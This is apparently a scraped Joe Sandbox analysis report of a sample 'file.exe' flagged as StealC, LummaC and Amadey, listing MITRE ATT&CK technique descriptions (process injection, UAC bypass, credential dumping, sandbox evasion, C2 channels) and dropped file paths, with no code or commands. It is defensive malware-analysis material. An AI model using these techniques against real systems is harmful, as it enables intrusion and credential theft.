Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7YW0363WEKP7ULOI0QRA.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\W7N881PI98FKFOKWDI7HCS7W.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre